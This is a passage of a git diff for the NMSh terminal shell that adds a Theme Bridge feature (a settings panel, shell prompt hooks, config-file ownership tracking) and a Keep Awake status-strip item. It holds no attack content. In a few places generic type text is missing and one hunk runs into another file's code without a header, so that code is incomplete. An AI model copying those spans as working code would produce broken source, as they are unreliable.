+ const rows = sectionRows(SETUP_SECTIONS[state.section]!, state.draft, state.context).filter(item => setupRowApplies(item.row, state.draft)); return state.section === sectionIndex('tools') ? [...rows, TOOL_CHOICE_ROW, BROWSE_ROW] : rows; } @@ -560,6 +597,11 @@ export function setupKey(state: SetupState, key: Key): SetupResult | undefined { if (changes()) { state.confirmDiscard = true; return undefined; } return {kind: 'cancel'}; } + const sectionId = SETUP_SECTIONS[state.section]?.id; + if (key.kind === 'text' && key.value.toLowerCase() === 'p' && (sectionId === 'appearance' || sectionId === 'prompt')) { + state.previewChroma = !state.previewChroma; + return undefined; + } const last = SETUP_SECTIONS.length - 1; const rows = currentRows(state); const go = (section: number) => { state.section = Math.max(0, Math.min(last, section)); state.row = 0; }; diff --git a/src/setup/providerExplanations.ts b/src/setup/providerExplanations.ts index c7d197a0..5a638789 100644 --- a/src/setup/providerExplanations.ts +++ b/src/setup/providerExplanations.ts @@ -34,6 +34,7 @@ export const PROVIDER_EXPLANATIONS: Readonly { this.zdotdir = stateDir; let launch; try { - launch = this.adapter.launch({home, env, token, stateDir, knowledgePath: join(stateDir, '.nmsh-knowledge')}); + launch = this.adapter.launch({home, env, token, stateDir, knowledgePath: join(stateDir, '.nmsh-knowledge'), bridgeEnvPath: bridgeEnvPath(this.adapter.id, env)}); } catch (error) { this.cleanup(); throw error; diff --git a/src/shell/adapters/BashAdapter.ts b/src/shell/adapters/BashAdapter.ts index 69052f04..d4157b49 100644 --- a/src/shell/adapters/BashAdapter.ts +++ b/src/shell/adapters/BashAdapter.ts @@ -8,6 +8,7 @@ import {completionWord} from '../ConfiguredCompletion.js'; import type {CommandEntry} from '../../suggestions/types.js'; import {posixQuote, type LaunchContext, type ShellAdapter, type ShellLaunch} from './ShellAdapter.js'; import {findShellExecutables} from './shellExecutable.js'; +import {bridgeBootstrap} from '../../themeBridge/environment.js'; /** * Bash backend. @@ -56,7 +57,8 @@ function resolveBash(env: NodeJS.ProcessEnv): string | undefined { return findShellExecutables('bash', env, ['/bin/bash', '/usr/bin/bash']).find(candidate => recentEnough(bashVersionOf(candidate))); } -function bootstrap({home, token, knowledgePath}: LaunchContext): string { +function bootstrap(context: LaunchContext): string { + const {home, token, knowledgePath} = context; const marker = (body: string) => `builtin printf '\\e]777;nmsh;${token};${body}\\a'`; return `# NMSh managed bash session bootstrap (private, per session) # --rcfile replaces the standard startup files, so load them as Bash would. @@ -99,6 +101,7 @@ fi __nmsh_set_status() { return "$1"; } __nmsh_history_last= +${context.bridgeEnvPath ? bridgeBootstrap('bash', context.bridgeEnvPath) : ''} __nmsh_precmd() { local nmsh_status=$? nmsh_command for nmsh_command in "\${__nmsh_user_prompt_command[@]}"; do @@ -114,7 +117,7 @@ __nmsh_precmd() { PS1='' PS2='' __nmsh_tty -echo __nmsh_history_last=$(HISTTIMEFORMAT= builtin history 1) - __nmsh_knowledge + __nmsh_knowledge${context.bridgeEnvPath ? '\n nmsh_bridge_sync' : ''} ${marker('%d;%s')} "$nmsh_status" "$PWD" } diff --git a/src/shell/adapters/FishAdapter.ts b/src/shell/adapters/FishAdapter.ts index d17d296d..10f9551a 100644 --- a/src/shell/adapters/FishAdapter.ts +++ b/src/shell/adapters/FishAdapter.ts @@ -7,6 +7,7 @@ import {completionWord} from '../ConfiguredCompletion.js'; import type {CommandEntry} from '../../suggestions/types.js'; import {fishQuote, type LaunchContext, type ShellAdapter, type ShellLaunch} from './ShellAdapter.js'; import {findShellExecutables} from './shellExecutable.js'; +import {bridgeBootstrap} from '../../themeBridge/environment.js'; /** * Fish backend. @@ -27,7 +28,8 @@ const FISH_BUILTINS = new Set(['and', 'begin', 'bg', 'bind', 'block', 'break', ' 'math', 'not', 'or', 'path', 'printf', 'pwd', 'random', 'read', 'realpath', 'return', 'set', 'set_color', 'source', 'status', 'string', 'switch', 'test', 'time', 'true', 'type', 'ulimit', 'wait', 'while', 'abbr', 'argparse']); -function bootstrap({token, knowledgePath}: LaunchContext, originalTerm: string | undefined): string { +function bootstrap({token, knowledgePath, bridgeEnvPath}: LaunchContext, originalTerm: string | undefined): string { + const sync = bridgeEnvPath ? '\n nmsh_bridge_sync' : ''; const marker = (body: string) => `printf '\\e]777;nmsh;${token};${body}\\a'`; return `# NMSh managed fish session bootstrap (private, per session) ${originalTerm ? `set -gx TERM ${fishQuote(originalTerm)}` : ''} @@ -37,10 +39,11 @@ set -g fish_autosuggestion_enabled 0 function fish_prompt if not set -q __nmsh_ready set -g __nmsh_ready 1 - __nmsh_knowledge + __nmsh_knowledge${sync} ${marker("0;%s")} "$PWD" end end +${bridgeEnvPath ? bridgeBootstrap('fish', bridgeEnvPath) : ''} function fish_right_prompt; end function fish_mode_prompt; end function fish_title; end @@ -75,7 +78,7 @@ function __nmsh_preexec --on-event fish_preexec end function __nmsh_postexec --on-event fish_postexec set -l nmsh_status $status - __nmsh_knowledge + __nmsh_knowledge${bridgeEnvPath ? '\n nmsh_bridge_sync' : ''} ${marker('%d;%s')} $nmsh_status "$PWD" end `; diff --git a/src/shell/adapters/ShellAdapter.ts b/src/shell/adapters/ShellAdapter.ts index 5d4e62b0..2a01addd 100644 --- a/src/shell/adapters/ShellAdapter.ts +++ b/src/shell/adapters/ShellAdapter.ts @@ -33,6 +33,8 @@ export interface LaunchContext { stateDir: string; /** Where the shell writes its bounded name snapshot each cycle. */ knowledgePath: string; + /** NMSh Theme Bridge environment file for this shell syntax, applied from the prompt hook when present. */ + bridgeEnvPath?: string; } export interface ShellLaunch { diff --git a/src/shell/adapters/ZshAdapter.ts b/src/shell/adapters/ZshAdapter.ts index 50e83535..cc0fd400 100644 --- a/src/shell/adapters/ZshAdapter.ts +++ b/src/shell/adapters/ZshAdapter.ts @@ -8,6 +8,7 @@ import {resolveZsh} from '../zshExecutable.js'; import {parseZshHistoryInChunks} from '../HistoryService.js'; import {ShellCompletionSource} from '../CompletionService.js'; import type {LaunchContext, ShellAdapter, ShellLaunch} from './ShellAdapter.js'; +import {bridgeBootstrap} from '../../themeBridge/environment.js'; const ZSH_BUILTINS = new Set(['alias', 'autoload', 'bg', 'bindkey', 'builtin', 'cd', 'command', 'echo', 'emulate', 'eval', 'exec', 'exit', 'export', 'fc', 'fg', 'functions', 'hash', 'history', 'jobs', 'kill', 'let', 'local', 'print', 'printf', 'pushd', 'popd', 'pwd', 'read', 'return', 'set', 'setopt', 'shift', 'source', @@ -32,7 +33,7 @@ export const zshAdapter: ShellAdapter = { unavailableReason(env) { try { resolveZsh(env); return undefined; } catch (error) { return error instanceof Error ? error.message : 'zsh was not found'; } }, - launch({home, env, token, stateDir, knowledgePath}: LaunchContext): ShellLaunch { + launch({home, env, token, stateDir, knowledgePath, bridgeEnvPath}: LaunchContext): ShellLaunch { // Proxy .zshenv writeFileSync(join(stateDir, '.zshenv'), ` if [[ -n ${shellQuote(home)} && -f ${shellQuote(join(home, '.zshenv'))} ]]; then @@ -78,9 +79,10 @@ function nmsh_tty_echo { stty \$1 2>/dev/null } +${bridgeEnvPath ? bridgeBootstrap('zsh', bridgeEnvPath) : ''} function nmsh_precmd { local nmsh_status=$? - nmsh_capture_knowledge + nmsh_capture_knowledge${bridgeEnvPath ? '\n nmsh_bridge_sync' : ''} # Reblank every cycle: a plugin's own precmd (starship, a prompt theme, ...) # may run before us in precmd_functions and repaint PROMPT/RPROMPT. NMSh # owns prompt rendering, so it always has the last word here. diff --git a/src/status/StatusStrip.ts b/src/status/StatusStrip.ts index 850889db..1d6437f4 100644 --- a/src/status/StatusStrip.ts +++ b/src/status/StatusStrip.ts @@ -153,26 +153,37 @@ export function stripItems(settings: StatusStripSettings, stats: SystemStats, no return items; } +/** Keep Awake in the strip: present whenever it is active and the strip is on; its forms from widest to narrowest. */ +export interface StripAwake {full: string; short: string; glyph: string} + /** * The right-aligned strip row, or '' when nothing fits. Lower-priority items * (uptime, CPU, RAM) drop first so the clock survives on narrow terminals. + * An active Keep Awake ranks above all of them: it narrows (Awake · Display, + * Awake, its glyph) before anything else would have to drop it. */ -export function renderStatusStrip(settings: StatusStripSettings, stats: SystemStats, columns: number, now?: Date): string { +export function renderStatusStrip(settings: StatusStripSettings, stats: SystemStats, columns: number, now?: Date, awake?: StripAwake): string { if (!settings.enabled || columns < STRIP_MIN_COLUMNS) return ''; let items = stripItems(settings, stats, now); const subtle = foreground(UI_COLORS.subtle); const secondary = foreground(UI_COLORS.secondary); + const accent = foreground(UI_COLORS.accent); const reset = '\u001B[0m'; - const plain = (list: StripItem[]) => list.map(item => { const icon = semanticIcon(item.icon); return icon ? `${icon} ${item.text}` : item.text; }).join(' · '); - while (items.length && displayWidth(plain(items)) > columns - 2) { - const drop = items.reduce((worst, item) => item.priority > worst.priority ? item : worst); - items = items.filter(item => item !== drop); + const forms = awake ? [...new Set([awake.full, awake.short, awake.glyph])] : []; + let form = 0; + const awakeText = () => forms[form]; + const plain = (list: StripItem[]) => [...list.map(item => { const icon = semanticIcon(item.icon); return icon ? `${icon} ${item.text}` : item.text; }), ...(awakeText() ? [awakeText()!] : [])].join(' · '); + while (displayWidth(plain(items)) > columns - 2) { + // Decorative items drop first, lowest priority first; Keep Awake only narrows, then goes last of all. + if (items.length) { const drop = items.reduce((worst, item) => item.priority > worst.priority ? item : worst); items = items.filter(item => item !== drop); } + else if (form < forms.length) form += 1; + else break; } - if (!items.length) return ''; - const body = items.map(item => { + if (!items.length && !awakeText()) return ''; + const body = [...items.map(item => { const icon = semanticIcon(item.icon); return `${icon ? `${subtle}${icon} ` : ''}${secondary}${item.text}`; - }).join(`${subtle} · `); + }), ...(awakeText() ? [`${accent}${awakeText()}`] : [])].join(`${subtle} · `); const width = displayWidth(plain(items)); return `${' '.repeat(Math.max(0, columns - width - 1))}${body}${reset}`; } diff --git a/src/themeBridge/ThemeBridgePanel.ts b/src/themeBridge/ThemeBridgePanel.ts new file mode 100644 index 00000000..dbb0713f --- /dev/null +++ b/src/themeBridge/ThemeBridgePanel.ts @@ -0,0 +1,297 @@ +import type {Key} from '../terminal/keys.js'; +import {framePanel} from '../ui/PanelShell.js'; +import {renderControls} from '../ui/controls.js'; +import {foreground, UI_COLORS} from '../ui/palette.js'; +import {GLYPHS} from '../ui/glyphs.js'; +import {padCells, truncateAnsi, truncateText} from '../util/text.js'; +import type {SelectableTheme, ThemeRef} from '../appearance/themeRefs.js'; +import { + BRIDGE_CAPABILITY, BRIDGE_CAPABILITY_LABELS, BRIDGE_MODE_LABELS, BRIDGE_POLICIES, BRIDGE_POLICY_LABELS, BRIDGE_TARGETS, type BridgeCapability, type BridgeMode, + type BridgePolicy, type BridgeTargetId, +} from './model.js'; +import type {HealthItem, TargetReport} from './runtime.js'; + +/** + * /theme-bridge: one persistent panel. The switch and the apply policy sit + * on top, then every target grouped by capability; Enter expands a target's + * controls inline under its row while the list stays visible. Under a global + * policy the per-target rows are view-only. The panel never writes anything: + * it returns actions, and permanent config edits, bat's cache build and + * Apply all always go through a shown review first. + */ + +export type DetailRow = 'mode' | 'theme' | 'include' | 'reload' | 'batSetup' | 'batDuplicate' | 'batRebuild' | 'removeSetup' | 'setIndependent'; + +export type PanelItem = + | {kind: 'switch'} | {kind: 'policy'} | {kind: 'globalTheme'} | {kind: 'review'} + | {kind: 'target'; target: BridgeTargetId} + | {kind: 'detail'; target: BridgeTargetId; row: DetailRow}; + +export interface ThemeBridgePanelState { + /** Index into the flat list of selectable items. */ + selected: number; + /** The target whose controls are expanded inline. */ + expanded?: BridgeTargetId; + /** A permanent-change plan awaiting confirmation (shown in place of the list so the exact diff is readable). */ + confirm?: {kind: 'hook' | 'removeSetup' | 'batCache'; target: BridgeTargetId; path: string; preview: string[]}; + /** The combined integrations review; Apply defaults to No. */ + review?: {items: HealthItem[]; previews: Record; yes: boolean}; + message?: string; +} + +export type BridgePanelAction = + | {kind: 'close'} + | {kind: 'setEnabled'; enabled: boolean} + | {kind: 'setPolicy'; policy: BridgePolicy; theme?: ThemeRef} + | {kind: 'setGlobalTheme'; theme: ThemeRef} + | {kind: 'setMode'; target: BridgeTargetId; mode: BridgeMode; theme?: ThemeRef} + | {kind: 'planHook'; target: BridgeTargetId} + | {kind: 'confirmHook'; target: BridgeTargetId} + | {kind: 'planRemoval'; target: BridgeTargetId} + | {kind: 'confirmRemoval'; target: BridgeTargetId} + | {kind: 'reloadTmux'} + | {kind: 'planBat'; source: 'current' | 'duplicate'} + | {kind: 'confirmBat'} + | {kind: 'reviewAll'} + | {kind: 'applyAll'}; + +export interface BridgePanelContext { + enabled: boolean; + policy: BridgePolicy; + globalTheme?: ThemeRef; + globalThemeLabel?: string; + reports: readonly TargetReport[]; + themes: readonly SelectableTheme[]; + /** The pinned reference per target in the Manual state (kept while another mode applies). */ + pinned: (target: BridgeTargetId) => ThemeRef | undefined; + activeRef?: ThemeRef; + activeLabel?: string; + /** Managed artifact and include facts per managed target. */ + managed: (target: BridgeTargetId) => {artifact?: string; include?: string} | undefined; +} + +const GROUPS: readonly BridgeCapability[] = ['direct', 'managed', 'detected']; + +export function createThemeBridgePanel(): ThemeBridgePanelState { + return {selected: 0}; +} + +export function detailRows(target: BridgeTargetId, report: TargetReport | undefined, context: BridgePanelContext): DetailRow[] { + if (!report || BRIDGE_CAPABILITY[target] === 'detected') return []; + const rows: DetailRow[] = []; + if (report.editable) rows.push('mode'); + if (report.editable && report.mode === 'choose') rows.push('theme'); + if (BRIDGE_CAPABILITY[target] === 'managed' && target !== 'bat' && report.mode !== 'independent') rows.push('include'); + if (target === 'tmux' && report.mode !== 'independent') rows.push('reload'); + if (target === 'bat' && report.mode !== 'independent') rows.push(report.readiness === 'Needs setup' || !report.readiness ? 'batSetup' : 'batRebuild', 'batDuplicate'); + if (BRIDGE_CAPABILITY[target] === 'managed' && (context.managed(target)?.artifact || context.managed(target)?.include)) rows.push('removeSetup'); + if (report.editable && report.mode !== 'independent') rows.push('setIndependent'); + return rows; +} + +export function panelItems(state: ThemeBridgePanelState, context: BridgePanelContext): PanelItem[] { + const items: PanelItem[] = [{kind: 'switch'}]; + if (context.enabled) { + items.push({kind: 'policy'}); + if (context.policy === 'choose') items.push({kind: 'globalTheme'}); + } + items.push({kind: 'review'}); + for (const group of GROUPS) for (const target of BRIDGE_TARGETS.filter(id => BRIDGE_CAPABILITY[id] === group)) { + items.push({kind: 'target', target}); + if (state.expanded === target) for (const row of detailRows(target, context.reports.find(report => report.target === target), context)) items.push({kind: 'detail', target, row}); + } + return items; +} + +const cycleRef = (themes: readonly SelectableTheme[], current: ThemeRef | undefined, delta: number) => { + const index = themes.findIndex(theme => theme.ref === current); + return themes[(index + delta + themes.length) % themes.length]?.ref; +}; + +export function themeBridgeKey(state: ThemeBridgePanelState, key: Key, context: BridgePanelContext): BridgePanelAction | undefined { + state.message = undefined; + if (state.review) { + if (key.kind === 'left' || key.kind === 'right' || (key.kind === 'text' && (key.value === 'y' || key.value === 'n'))) { + state.review.yes = key.kind === 'text' ? key.value === 'y' : !state.review.yes; + return undefined; + } + if (key.kind === 'enter') { + const yes = state.review.yes && state.review.items.some(item => item.action); + state.review = undefined; + if (yes) return {kind: 'applyAll'}; + state.message = 'Nothing was changed.'; + return undefined; + } + if (key.kind === 'escape' || key.kind === 'interrupt') { state.review = undefined; state.message = 'Nothing was changed.'; } + return undefined; + } + if (state.confirm) { + const {kind, target} = state.confirm; + if (key.kind === 'enter' || (key.kind === 'text' && key.value.toLowerCase() === 'y')) { + state.confirm = undefined; + return kind === 'hook' ? {kind: 'confirmHook', target} : kind === 'batCache' ? {kind: 'confirmBat'} : {kind: 'confirmRemoval', target}; + } + if (key.kind === 'escape' || key.kind === 'interrupt' || (key.kind === 'text' && key.value.toLowerCase() === 'n')) { + state.confirm = undefined; + state.message = target === 'helix' && kind === 'hook' ? 'Nothing was changed. The generated theme stays available: run :theme nmsh-bridge inside Helix.' : 'Nothing was changed.'; + } + return undefined; + } + const items = panelItems(state, context); + state.selected = Math.max(0, Math.min(state.selected, items.length - 1)); + const item = items[state.selected]!; + if (key.kind === 'escape' || key.kind === 'interrupt') { + // Esc collapses an expanded target first; it closes only when nothing is expanded. + if (state.expanded) { + const target = state.expanded; + state.expanded = undefined; + state.selected = Math.max(0, panelItems(state, context).findIndex(entry => entry.kind === 'target' && entry.target === target)); + return undefined; + } + return {kind: 'close'}; + } + if (key.kind === 'up' || key.kind === 'down') { state.selected = (state.selected + (key.kind === 'up' ? -1 : 1) + items.length) % items.length; return undefined; } + const delta = key.kind === 'left' ? -1 : key.kind === 'right' ? 1 : 0; + const activate = key.kind === 'enter' || (key.kind === 'text' && key.value === ' '); + if (item.kind === 'switch' && (delta || activate)) return {kind: 'setEnabled', enabled: !context.enabled}; + if (item.kind === 'policy' && (delta || activate)) { + const policy = BRIDGE_POLICIES[(BRIDGE_POLICIES.indexOf(context.policy) + (delta || 1) + BRIDGE_POLICIES.length) % BRIDGE_POLICIES.length]!; + return {kind: 'setPolicy', policy, ...(policy === 'choose' && !context.globalTheme && context.activeRef ? {theme: context.activeRef} : {})}; + } + if (item.kind === 'globalTheme' && (delta || activate)) { + const theme = cycleRef(context.themes, context.globalTheme, delta || 1); + return theme ? {kind: 'setGlobalTheme', theme} : undefined; + } + if (item.kind === 'review' && activate) return {kind: 'reviewAll'}; + if (item.kind === 'target' && activate) { + if (BRIDGE_CAPABILITY[item.target] === 'detected') { + state.message = context.reports.find(report => report.target === item.target)?.notes[0] ?? 'Shown for status only; not managed by NMSh.'; + return undefined; + } + state.expanded = state.expanded === item.target ? undefined : item.target; + return undefined; + } + if (item.kind === 'target' && delta) { + const report = context.reports.find(entry => entry.target === item.target); + if (!report?.editable) { + state.message = BRIDGE_CAPABILITY[item.target] === 'detected' ? 'Shown for status only; not managed by NMSh.' + : !context.enabled ? 'Theme Bridge is Off. Turn it On to apply themes.' + : `Apply themes is ${BRIDGE_POLICY_LABELS[context.policy]}. Switch Apply themes to Manual to edit individual targets.`; + } else state.message = 'Enter expands this tool\'s controls.'; + return undefined; + } + if (item.kind !== 'detail') return undefined; + const {target, row} = item; + const report = context.reports.find(entry => entry.target === target); + if (row === 'mode' && (delta || activate)) { + const modes = report?.modes ?? ['independent']; + const mode = modes[(modes.indexOf(report?.mode ?? 'independent') + (delta || 1) + modes.length) % modes.length]!; + // Choose theme starts on the pinned theme, or visibly on the active one; it never changes later by itself. + const theme = mode === 'choose' ? context.pinned(target) ?? context.activeRef : undefined; + return {kind: 'setMode', target, mode, ...(theme ? {theme} : {})}; + } + if (row === 'theme' && (delta || activate)) { + const theme = cycleRef(context.themes, context.pinned(target), delta || 1); + return theme ? {kind: 'setMode', target, mode: 'choose', theme} : undefined; + } + if (!activate) return undefined; + if (row === 'include') return {kind: 'planHook', target}; + if (row === 'reload') return {kind: 'reloadTmux'}; + if (row === 'batSetup' || row === 'batRebuild') return {kind: 'planBat', source: 'current'}; + if (row === 'batDuplicate') return {kind: 'planBat', source: 'duplicate'}; + if (row === 'removeSetup') return {kind: 'planRemoval', target}; + if (row === 'setIndependent') return {kind: 'setMode', target, mode: 'independent'}; + return undefined; +} + +export function renderThemeBridgePanel(state: ThemeBridgePanelState, context: BridgePanelContext, columns: number, height: number): string[] { + const primary = foreground(UI_COLORS.primary); + const secondary = foreground(UI_COLORS.secondary); + const subtle = foreground(UI_COLORS.subtle); + const accent = foreground(UI_COLORS.accent); + const warning = foreground(UI_COLORS.failure); + const reset = '\u001B[0m'; + const finish = (rows: string[], controls: Array<[string, string]>) => { + const budget = Math.max(3, height - 3); + return framePanel([...rows.slice(0, budget), '', renderControls(controls)].map(row => truncateAnsi(row, columns)), columns).slice(0, Math.max(1, height)); + }; + if (state.confirm) { + const {kind, path, preview} = state.confirm; + const title = kind === 'hook' ? 'Add include' : kind === 'batCache' ? 'Create bat theme and rebuild bat\'s cache' : 'Remove managed setup'; + const intro = kind === 'hook' ? 'This edits your config so new instances load NMSh-managed colors:' + : kind === 'batCache' ? 'NMSh writes its own theme file, then runs bat cache --build (bat rebuilds its local theme cache) and checks bat --list-themes:' + : 'This removes NMSh\'s managed file and exactly the NMSh lines it added:'; + return finish([` ${primary}Theme Bridge › ${title}${reset}`, '', ` ${secondary}${intro}${reset}`, ` ${primary}${path}${reset}`, '', + ...preview.map(line => ` ${line.startsWith('+') ? accent : line.startsWith('-') ? warning : subtle}${line}${reset}`), '', + ` ${subtle}Nothing else changes. NMSh refuses to write if a file changes before you confirm.${reset}`], [['Enter', 'confirm'], ['Esc', 'cancel']]); + } + if (state.review) { + const rows = [` ${primary}Theme Bridge › Review all integrations${reset}`, '']; + for (const item of state.review.items) { + const glyph = item.action ? `${accent}+${reset}` : item.state === 'conflict' ? `${warning}!${reset}` : `${subtle}·${reset}`; + rows.push(` ${glyph} ${padCells(item.label, 22)}${item.action ? primary : subtle}${item.detail}${reset}`); + for (const line of state.review.previews[item.target] ?? []) rows.push(` ${line.startsWith('+') ? accent : subtle}${line}${reset}`); + } + const planned = state.review.items.filter(item => item.action).length; + rows.push('', planned ? ` ${primary}Apply ${planned} reviewed change${planned === 1 ? '' : 's'}? ${state.review.yes ? `${subtle}No${reset} ${accent}‹ Yes ›${reset}` : `${accent}‹ No ›${reset} ${subtle}Yes${reset}`}` + : ` ${subtle}Everything is current; nothing to apply.${reset}`); + return finish(rows, [['←→', 'No / Yes'], ['Enter', 'confirm'], ['Esc', 'back']]); + } + const items = panelItems(state, context); + const selected = Math.max(0, Math.min(state.selected, items.length - 1)); + const isSelected = (index: number) => index === selected; + const mark = (index: number) => isSelected(index) ? `${accent}${GLYPHS.selection}${reset}` : ' '; + const value = (index: number, text: string) => isSelected(index) ? `${accent}‹ ${text} ›${reset}` : text; + const lines: Array<{text: string; item?: number}> = []; + lines.push({text: ` ${primary}Theme Bridge${reset} ${subtle}extend NMSh themes to terminal tools · every tool starts Independent${reset}`}, {text: ''}); + let group: BridgeCapability | undefined; + items.forEach((item, index) => { + if (item.kind === 'switch') lines.push({item: index, text: `${mark(index)} ${isSelected(index) ? primary : secondary}${padCells('Theme Bridge', 16)}${reset}${value(index, context.enabled ? 'On' : 'Off')} ${subtle}${context.enabled ? '' : 'nothing is applied; saved choices are kept'}${reset}`}); + else if (item.kind === 'policy') lines.push({item: index, text: `${mark(index)} ${isSelected(index) ? primary : secondary}${padCells('Apply themes', 16)}${reset}${value(index, BRIDGE_POLICY_LABELS[context.policy])} ${subtle}${context.policy === 'manual' ? 'each tool uses its own setting' : 'every supported tool; their own settings are kept for Manual'}${reset}`}); + else if (item.kind === 'globalTheme') lines.push({item: index, text: `${mark(index)} ${isSelected(index) ? primary : secondary}${padCells('Theme', 16)}${reset}${value(index, context.globalThemeLabel ?? '—')}`}); + else if (item.kind === 'review') { + lines.push({item: index, text: `${mark(index)} ${isSelected(index) ? primary : secondary}${padCells('Integrations', 16)}${reset}${isSelected(index) ? accent : subtle}Review all / Apply all ›${reset}`}, {text: ''}); + lines.push({text: ` ${subtle} ${padCells('Target', 21)}${padCells('Mode', 15)}${padCells('Theme', 20)}Status${reset}`}); + } else if (item.kind === 'target') { + const report = context.reports.find(entry => entry.target === item.target); + const capability = BRIDGE_CAPABILITY[item.target]; + if (capability !== group) { group = capability; lines.push({text: ` ${subtle}${BRIDGE_CAPABILITY_LABELS[capability]}${reset}`}); } + const detected = capability === 'detected'; + const mode = detected ? '—' : BRIDGE_MODE_LABELS[report?.mode ?? 'independent']; + const theme = !detected && report && report.mode !== 'independent' ? report.themeLabel ?? '—' : '—'; + const status = [report?.status, report?.readiness, report?.inherited ? 'Inherited' : undefined].filter(Boolean).join(' · '); + const expander = detected ? ' ' : state.expanded === item.target ? '▾' : '▸'; + lines.push({item: index, text: `${mark(index)} ${subtle}${expander}${reset} ${isSelected(index) ? primary : secondary}${padCells(report?.label ?? item.target, 19)}${reset}${padCells(mode, 15)}${padCells(truncateText(theme, 18), 20)}${subtle}${status}${reset}`}); + if (state.expanded === item.target && report) { + if (!report.editable) lines.push({text: ` ${subtle}${!context.enabled ? 'Theme Bridge is Off.' : `Apply themes is ${BRIDGE_POLICY_LABELS[context.policy]}; switch it to Manual to edit this tool.`}${reset}`}); + if (report.backend) lines.push({text: ` ${subtle}Backend ${report.backend}${reset}`}); + const managed = context.managed(item.target); + if (managed?.artifact) lines.push({text: ` ${subtle}Managed ${managed.artifact}${reset}`}); + if (managed?.include) lines.push({text: ` ${subtle}Include ${managed.include}${reset}`}); + for (const note of report.notes.slice(0, 4)) lines.push({text: ` ${subtle}• ${note}${reset}`}); + } + } else { + const report = context.reports.find(entry => entry.target === item.target); + const label = (text: string) => `${mark(index)} ${isSelected(index) ? primary : secondary}${padCells(text, 18)}${reset}`; + const act = (text: string) => `${isSelected(index) ? accent : subtle}${text}${reset}`; + const include = context.managed(item.target)?.include; + const text = item.row === 'mode' ? `${label('Mode')}${value(index, BRIDGE_MODE_LABELS[report?.mode ?? 'independent'])}` + : item.row === 'theme' ? `${label('Theme')}${value(index, report?.themeLabel ?? 'Missing theme')}` + : item.row === 'include' ? `${label(item.target === 'helix' || item.target === 'neovim' ? 'Activation' : 'Include')}${act(include ? 'configured · review ›' : 'review the exact one-time change ›')}` + : item.row === 'reload' ? `${label('Reload')}${act('load into the running tmux server ›')}` + : item.row === 'batSetup' ? `${label('Create for bat')}${act(`from ${report?.themeLabel ?? context.activeLabel ?? 'the current theme'} · review ›`)}` + : item.row === 'batRebuild' ? `${label('Cache')}${act('rebuild bat\'s theme cache · review ›')}` + : item.row === 'batDuplicate' ? `${label('Duplicate → Custom')}${act('copy the source theme to an editable Custom theme for bat ›')}` + : item.row === 'removeSetup' ? `${label('Remove setup')}${act('remove NMSh\'s managed file and include · review ›')}` + : `${label('Set Independent')}${act('this tool only (Manual) ›')}`; + lines.push({item: index, text}); + } + }); + if (state.message) lines.push({text: ''}, {text: ` ${secondary}${state.message}${reset}`}); + // Keep the selection visible on short terminals: a window over the rows around it. + const budget = Math.max(3, height - 3); + const at = Math.max(0, lines.findIndex(line => line.item === selected)); + const start = lines.length <= budget ? 0 : Math.max(0, Math.min(at - Math.floor(budget / 2), lines.length - budget)); + const shown = lines.slice(start, start + budget).map(line => line.text); + return finish(shown, [['↑↓', 'select'], ['←→', 'change'], ['Enter', state.expanded ? 'open / collapse' : 'expand'], ['Esc', state.expanded ? 'collapse' : 'close']]); +} diff --git a/src/themeBridge/artifacts.ts b/src/themeBridge/artifacts.ts new file mode 100644 index 00000000..29ac6df6 --- /dev/null +++ b/src/themeBridge/artifacts.ts @@ -0,0 +1,309 @@ +import {createHash} from 'node:crypto'; +import {existsSync, mkdirSync, readFileSync, realpathSync, renameSync, unlinkSync, writeFileSync} from 'node:fs'; +import {homedir} from 'node:os'; +import {dirname, join} from 'node:path'; +import {nmshConfigDirectory} from '../configuration/paths.js'; +import {applyPlan, inspectFile, planAppend, planCreate, planReplace, type FileEditPlan} from '../ask/fileEdit.js'; +import type {BridgeMode, BridgeTargetId} from './model.js'; + +/** + * Theme Bridge ownership: generated artifacts and exact config hooks NMSh + * created, recorded in a small ledger. A file is replaced or removed only + * when ownership is established (a ledger entry whose recorded content hash + * matches the file on disk); a hook is removed only as the exact lines NMSh + * inserted. When ownership is uncertain NMSh stops and says so; it never + * deletes or overwrites. + */ + +export const ADAPTER_VERSION = 1; +export type ManagedTarget = Extract | 'vivid' | 'tmuxConfig'; +export type HookTarget = Extract; + +export interface ConfigHook { + /** The user's config file the hook lives in. */ + configPath: string; + /** The exact lines NMSh inserted (removal removes exactly these). */ + lines: string[]; + insertedAt: string; +} + +export interface LedgerEntry { + target: ManagedTarget; + artifactPath: string; + mode: BridgeMode; + themeRef: string; + format: string; + formatVersion: number; + sha256: string; + adapterVersion: number; + generatedAt: string; + hook?: ConfigHook; + /** bat: the user approved rebuilding bat's theme cache for this artifact (after which updates rebuild it automatically). */ + cacheApproved?: boolean; + /** bat: the artifact hash bat's cache was last built and verified for. */ + cacheBuiltFor?: string; +} + +export interface Ledger {version: 1; entries: Partial>} + +export const bridgeDirectory = (env: NodeJS.ProcessEnv = process.env) => join(nmshConfigDirectory(env), 'theme-bridge'); +export const ledgerPath = (env: NodeJS.ProcessEnv = process.env) => join(bridgeDirectory(env), 'ledger.json'); +export const sha256 = (text: string) => createHash('sha256').update(text, 'utf8').digest('hex'); + +/** Where each managed artifact lives: always inside NMSh's own Theme Bridge directory. */ +export function artifactPath(target: ManagedTarget, env: NodeJS.ProcessEnv = process.env): string { + const root = bridgeDirectory(env); + switch (target) { + case 'tmux': return join(root, 'tmux', 'nmsh-bridge.tmux.conf'); + // The one file tmux.conf includes: Tool Configuration settings, then the Theme Bridge colors. + case 'tmuxConfig': return join(root, 'tmux', 'nmsh.tmux.conf'); + case 'neovim': return join(root, 'nvim', 'colors', 'nmsh-bridge.lua'); + case 'vim': return join(root, 'vim', 'colors', 'nmsh-bridge.vim'); + case 'vivid': return join(root, 'vivid', 'nmsh-bridge.yml'); + // Helix loads themes only from its own themes directory; the fixed NMSh name keeps it apart from user themes. + case 'helix': return join(helixConfigDirectory(env), 'themes', 'nmsh-bridge.toml'); + // bat loads custom themes only from its own themes directory. + case 'bat': return join(batConfigDirectory(env), 'themes', 'nmsh-bridge.tmTheme'); + } +} + +/** The runtimepath directory that holds `colors/` for an editor target. */ +/** Helix's configuration directory ($XDG_CONFIG_HOME/helix, else ~/.config/helix, as Helix itself uses on macOS and Linux). */ +export function helixConfigDirectory(env: NodeJS.ProcessEnv = process.env): string { + const xdg = env.XDG_CONFIG_HOME && env.XDG_CONFIG_HOME.startsWith('/') ? env.XDG_CONFIG_HOME : join(env.HOME || homedir(), '.config'); + return join(xdg, 'helix'); +} + +/** bat's config directory as bat resolves it: BAT_CONFIG_DIR, else $XDG_CONFIG_HOME/bat, else 